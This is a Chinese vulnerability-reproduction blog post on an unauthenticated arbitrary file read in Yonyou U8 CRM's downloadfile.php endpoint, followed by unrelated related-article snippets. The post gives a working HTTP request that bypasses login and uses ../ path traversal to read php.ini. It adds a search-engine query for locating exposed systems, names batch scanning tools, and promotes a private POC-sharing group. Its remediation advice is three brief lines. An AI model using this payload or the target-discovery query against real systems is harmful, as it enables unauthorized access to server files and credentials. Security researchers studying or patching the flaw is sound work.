【漏洞复现】用友U8 CRM downloadfile 任意文件读取漏洞
0x01 产品简介
用友U8 CRM客户关系管理系统是一款专业的企业级CRM软件，旨在帮助企业高效管理客户关系、提升销售业绩和提供优质的客户服务。
0x02 漏洞概述
用友 U8 CRM客户关系管理系统 /pub/downloadfile.php接囗处存在任意文件读取漏洞,未经身份验证的远程攻击者通过漏洞可以获取到服务器敏感信息，导致系统处于极不安全的状态。
0x03 搜索引擎
app="用友U8CRM"
0x04 漏洞复现
GET /pub/downloadfile.php?DontCheckLogin=1&url=/datacache/../../../apache/php.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
0x05 工具批量
nuclei
afrog
xray
POC脚本获取
请使用VX扫一扫加入内部POC脚本分享圈子
0x06 修复建议
1、关闭互联网暴露面或设置访问策略
2、部署WAF，针对…/…/…/进行拦截
3、向官方索要补丁修复
相关文章：
【漏洞复现】用友U8 CRM downloadfile 任意文件读取漏洞
0x01 产品简介 用友U8 CRM客户关系管理系统是一款专业的企业级CRM软件，旨在帮助企业高效管理客户关系、提升销售业绩和提供优质的客户服务。 0x02 漏洞概述 用友 U8 CRM客户关系管理系统 /pub/downloadfile.php接囗处存在任意文件读取漏洞,未经身份验证的远程攻击…...
计算机网络 | 期末复习
物理层： 奈氏准则：带宽（w Hz），在不考虑噪音的情况下，最大速率（2W）码元/秒 信噪比S/N：以分贝（dB）为度量单位。信噪比（dB）…...
动手实操微软开源的GraphRAG
微软在今年4月份的时候提出了GraphRAG的概念，然后在上周开源了GraphRAG,Github链接见https://github.com/microsoft/graphrag,截止当前，已有6900Star。 安装教程 官方推荐使用Python3.10-3.12版本，我使用Python3.10版本安装时，在…...
【网络安全】实验七（ISA防火墙的规则设置）
一、实验目的 二、配置环境 打开两台虚拟机，并参照下图，搭建网络拓扑环境，要求两台虚拟机的IP地址要按照图中的标识进行设置，并根据搭建完成情况，勾选对应选项。注：此处的学号本人学号的最后两位数字&…...
实验代码结构介绍
提高模型复用性，让模型对应的配置更加清晰，代码书写条理 学习自https://zhuanlan.zhihu.com/p/409662511 Project ├── checkpoints # 存放模型 ├── data # 定义各种用于训练测试的数据集 ├── eval.py # 测试代码 ├── loss.py # 定义的…...
Java多线程不会？一文解决——
方法一 新建类如MyThread继承Thread类重写run()方法再通过new MyThread类来新建线程通过start方法启动新线程 案例： class MyThread extends Thread {public MyThread(String name) {super(name);}Overridepublic void run() {for(int i0;i<10;i){System.out.…...
Mac上pyenv的安装及使用
Mac上pyenv的安装及使用 安装 brew update brew install pyenv 报错 git -C /usr/local/Homebrew/Library/Taps/homebrew/homebrew-core fetch --unshallowgit -C /usr/local/Homebrew/Library/Taps/homebrew/homebrew-cask fetch --unshallow那就执行这2句 还报错 git -C /…...
【SpringBoot】IDEA查看spring bean的依赖关系
前因：研究springcloud config组件时，我发现config-server包下的EnvironmentController不在扫描的包路径下却可以响应客户端的请求，这引起了我的注意，我的问题是：EnvironmentController是怎么被添加进bean工厂的。本章就…...
项目代码优化（1）——下单逻辑
给一个电商开发的系统排查，发现漏洞很多。很多经验不够的开发者很容易忽视的逻辑错误陷阱。在给一个项目做二次开发时候，检测到的相关经典案例。这里整理支付和产品相关的逻辑，方便后续查看。，这里进行一些简单的逻辑漏洞梳理与修…...
探索 WebKit 的缓存迷宫：深入理解其高效缓存机制
探索 WebKit 的缓存迷宫：深入理解其高效缓存机制 在当今快速变化的网络世界中，WebKit 作为领先的浏览器引擎之一，其缓存机制对于提升网页加载速度、减少服务器负载以及改善用户体验起着至关重要的作用。本文将深入探讨 WebKit 的缓存机制&am…...
JVM：介绍
文章目录 一、什么是JVM二、JVM的功能1、解释和运行2、内存管理3、即时编译 三、常见的JVM四、Java虚拟机规范五、HotSpot发展历程 一、什么是JVM JVM的全称为Java Virtual Machine，Java虚拟机。本质上是一个运行在计算机上的程序，职责是运行Java字节码…...
和鲸“101”计划领航！和鲸科技携手北中医，共话医学+AI 实验室建设及创新人才培养
为进一步加强医学院校大数据管理与应用、信息管理与信息系统，医学信息工程等专业建设，交流实验室建设、专业发展与人才培养经验，6 月 22 日，由北京中医药大学（简称“北中医”）主办，上海和今信息…...
Linux 网络抓包工具tcpdump编译
tcpdump 的编译步骤 1. 下载源代码 访问 tcpdump 的官方网站（如：http://www.tcpdump.org/）下载最新的源代码压缩包，如tcpdump-4.9.2.tar.gz（注意版本号可能会有所不同）。 2. 解压缩源代码 使用 tar 命令…...
『C++成长记』string模拟实现
🔥博客主页：小王又困了 📚系列专栏：C 🌟人之为学，不日近则日退 ❤️感谢大家点赞👍收藏⭐评论✍️ 目录 一、存储结构 二、默认成员函数 📒2.1构造函数 📒2.…...
【c++】C++ IO流
本专栏内容为：C学习专栏，分为初阶和进阶两部分。 通过本专栏的深入学习，你可以了解并掌握C。 💓博主csdn个人主页：小小unicorn ⏩专栏分类：C 🚚代码仓库：小小unicorn的代码仓库&…...
解密智慧校园基础数据的学年管理功能
在智慧校园平台中，学年管理模块构成了教育活动有序运行的基石，它精心设计来适应多样化的学术日程，确保学校的各项事务都能在清晰规划的学年框架内顺利推进。这一核心功能不仅关乎时间的界定，更深层次地融入了教育管理的每一个细微…...
Python酷库之旅-第三方库Pandas(009)
目录 一、用法精讲 19、pandas.read_xml函数 19-1、语法 19-2、参数 19-3、功能 19-4、返回值 19-5、说明 19-6、用法 19-6-1、数据准备 19-6-2、代码示例 19-6-3、结果输出 20、pandas.DataFrame.to_xml函数 20-1、语法 20-2、参数 20-3、功能 20-4、返回值 …...
VPN 的入门介绍
VPN（虚拟专用网络） 简介 虚拟专用网络，简称虚拟专网（VPN），其主要功能是在公用网络上建立专用网络，进行加密通讯。在企业网络中有广泛应用。VPN网关通过对数据包的加密和数据包目标地址的转换实…...
移动UI： 什么特征会被认为是简洁风格，用案例告诉你
什么是简洁风格，恐怕一百个人有一百个是理解，本文通过理论分析案例的方式进行探讨。 移动 UI 中的简洁风格通常具有以下几个特征： 1. 平面化设计： 简洁风格的移动 UI 善于运用平面化设计，即去除过多的阴影、渐变和立…...
除了伦敦外，英国还有这些热门留学城市
在同学们选择出国留学时，首先要考虑到的便是择校的问题。除了排名、专业、录取要求之外，城市因素也占据了很大比重。 抛开学校自身的优势外，一座城市的氛围、成本、环境都是需要考虑的因素。下面就我们来盘点一下英国热门的留学城市。 爱丁…...
2390. 从字符串中移除星号
2390. 从字符串中移除星号 题目链接：2390. 从字符串中移除星号 代码如下： class Solution { public:string removeStars(string s) {vector<char> sta;for(int i0;i<s.size();i){if(s[i]*) {sta.pop_back();}else {sta.push_back(s[i])…...
UNION、UNION ALL、INTERSECT、MINUS
UNION、UNION ALL、INTERSECT、MINUS？ 说明 UNION：对两个结果集进行并集操作，不包括重复行，同时进行默认规则的排序；IUNION ALL：对两个结果集进行并集操作，包括重复行，不进行排序&am…...
Perl 语言开发（九）：深入探索Perl语言的文件处理
目录 1. 文件打开与关闭 1.1 打开文件 1.2 关闭文件 2. 读取文件内容 2.1 逐行读取 2.2 一次性读取整个文件 3. 写入文件内容 3.1 覆盖写入 3.2 追加写入 4. 文件测试操作 4.1 文件测试运算符 5. 文件路径操作 5.1 文件路径处理模块 5.2 获取文件路径信息 6. 文…...
稀疏之美：在Mojo模型中实现特征的稀疏表示
稀疏之美：在Mojo模型中实现特征的稀疏表示 在机器学习领域，特征的稀疏表示是一种高效的数据编码方式，尤其适用于具有大量特征和缺失值的数据集。稀疏表示使用特殊的数据结构来存储和处理数据，从而减少内存占用和提高计算效率。Mo…...
如何大幅减少 Vue.js 中的包大小和加载时间，提升用户体验！
大家好，我是CodeQi！ 一位热衷于技术分享的码仔。 你知道吗，根据Google 的一项研究，如果网站加载时间超过 3 秒，53% 的移动用户会离开该网站？ 性能优化是一个经常讨论的话题，但很多开发人员并不关心提高应用的速度。 在前端开发中，优化包大小和加载时间对于提升用户体…...
性能测试相关理解---性能测试流程（二）
六、性能测试流程（如何做性能测试？) 根据学习全栈测试博主的课程做的笔记 1、前期准备– 项目初期就开始，业务需求评审时尽量参与,对业务更深刻的认识（确定哪些是核心业务、哪些可能存在并发请求、确定什么地方会出现瓶颈,方便后…...
GD32 MCU ADC采样率如何计算？
大家在使用ADC采样的时候是否计算过ADC的采样率，这个问题非常关键！ 以下为GD32F303系列MCU中有关ADC的参数，其中ADC时钟最大值为40MHz，12位分辨率下最大采样率为2.86MSPS.如果ADC时钟超频的话，可能会造成ADC采样异常&…...
.mkp勒索病毒：深度解析与防范
引言： 在数字化时代，网络安全问题日益严峻，其中勒索病毒作为一种极具破坏性的恶意软件，严重威胁着个人用户和企业机构的数据安全。在众多勒索病毒家族中，.mkp勒索病毒以其强大的加密能力和广泛的传播方式，成…...
5.opencv深浅拷贝
图像处理的复制操作 深浅拷贝 图像复制分成两种，第一种假复制，从原图片选择一部分图片拿出来观察，此时新生成的图片和原图实际上是同一张图片，即浅拷贝 将图片的一部分复制下来，放到新的内存中，即两张完全…...
C++11中新特性介绍-之(二)
11.自动类型推导 (1) auto类型自动推导 auto自动推导变量的类型 auto并不代表某个实际的类型，只是一个类型声明的占位符 auto并不是万能的在任意场景下都能推导，使用auto声明的变量必须进行初始化，以让编译器推导出它的实际类型，…...